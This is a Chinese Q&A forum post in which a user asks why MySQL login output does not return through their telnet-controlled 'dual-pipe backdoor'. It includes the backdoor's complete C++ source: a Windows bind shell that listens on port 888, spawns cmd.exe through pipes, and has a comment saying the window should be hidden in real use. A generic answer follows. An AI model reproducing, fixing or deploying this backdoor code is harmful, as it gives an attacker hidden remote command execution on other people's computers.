cmd远程通信无法正常返回

Question

我用同telnet连接双管道后门，打算远程登录mysql，但是无法正常已经登陆的信息。

远程通信登录后返回

正常登陆返回

我远程cmd通信无法正常返回登陆msyql信息，

我完整的后门代码，希望大佬们多指点

#include <stdio.h>
#include <winsock2.h>
#include <iostream.h>
#pragma comment (lib, "ws2_32")

int main()
{
    WSADATA wsa;

    WSAStartup(MAKEWORD(2, 2), &wsa);

    // 创建TCP套接字
    SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 绑定套接字
    sockaddr_in sock;
    sock.sin_family = AF_INET;
    sock.sin_addr.S_un.S_addr = ADDR_ANY;
    sock.sin_port = htons(888);
    bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR));

    // 置套接字为监听状态
    listen(s, 1);

    // 接受客户端请求
    sockaddr_in sockClient;
    int SaddrSize = sizeof(SOCKADDR);
    SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize);

    // 创建管道
    SECURITY_ATTRIBUTES sa1, sa2;
    HANDLE hRead1, hRead2, hWrite1, hWrite2;

    sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa1.lpSecurityDescriptor = NULL;
    sa1.bInheritHandle = TRUE;

    sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa2.lpSecurityDescriptor = NULL;
    sa2.bInheritHandle = TRUE;

    CreatePipe(&hRead1, &hWrite1, &sa1, 0);
    CreatePipe(&hRead2, &hWrite2, &sa2, 0);

    // 创建用于通信的子进程
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    // 为了测试这里设置为SW_SHOW,在实际中应该为SW_HIDE
    si.wShowWindow = SW_SHOW;
    // 替换标准输入输出句柄
    // 对木后门程序，管道1用于进行输出
    // 对于后门程序，管道2用于输入
    si.hStdInput = hRead2;
    si.hStdOutput = hWrite1;
    si.hStdError = hWrite1;

    char *szCmd = "cmd";//"C:\\Windows\\System32\\cmd.exe";

    CreateProcess(NULL, szCmd, NULL, NULL, 
                  TRUE, 0, NULL, NULL, &si, &pi);

    DWORD dwBytes = 0;
    BOOL bRet = FALSE;
    char szBuffer[0x1000] = { 0 };
    char szCommand[0x1000] = { 0 };

    while ( TRUE )
    {
        ZeroMemory(szCommand, 0x1000);
        ZeroMemory(szBuffer, 0x1000);
        bRet = PeekNamedPipe(hRead1, szBuffer, 0x1000, &dwBytes, 0, 0);
        if ( dwBytes )
        {
            // 当hStdOutput和hStdError向管道1写入数据后
            // 应该将管道1中的数据读出
            ReadFile(hRead1, szBuffer, 0x1000, &dwBytes, NULL);
             cout<<"==========返回数据\n"<<szBuffer<<"\n=========="<<endl;
            send(sc, szBuffer, dwBytes, 0);

        } 
        else
        {
            // 父进程接受到控制端的数据后
            // 写入到管道2中
            int i = 0;
            while ( 1 )
            {
                dwBytes = recv(sc, szBuffer, 0x1000, 0);
                if ( dwBytes <= 0 )
                {
                    break;
                }
                cout<<"*************接收到命令\n"<<szBuffer[0]<<"\n*************"<<endl;
                szCommand[i++] = szBuffer[0];
                if ( szBuffer[0] == '\r' || szBuffer[0] == '\n' )
                {
                    szCommand[i-1] = '\n';
                    break;
                }
            }
            cout<<"--------汇总命令\n"<<szCommand<<"\n--------"<<endl;
            WriteFile(hWrite2, szCommand, i, &dwBytes, NULL);
        }
    }

    WSACleanup();

    return 0;
}

Answer 1

根据你提供的代码和描述，问题可能出在以下几个方面：

1. 登录 mysql 的命令不正确，导致无法正常登陆并返回信息。你需要确认你的登录命令正确无误，并且在本机上也能够正常使用。
2. 数据传输过程中出现了错误，导致返回信息丢失或者损坏。你需要检查数据传输的错误处理机制，并对传输过程中可能出现的错误进行适当处理。
3. 程序本身存在漏洞，导致无法正常返回信息。你需要对程序进行调试和分析，查找可能存在的漏洞并进行修复。

除此之外，你还需要对程序进行进一步测试和调试，以检查是否存在其他的问题和错误。如果需要，请参考相关文档和资料，或者向其他专业人士或社区寻求帮助。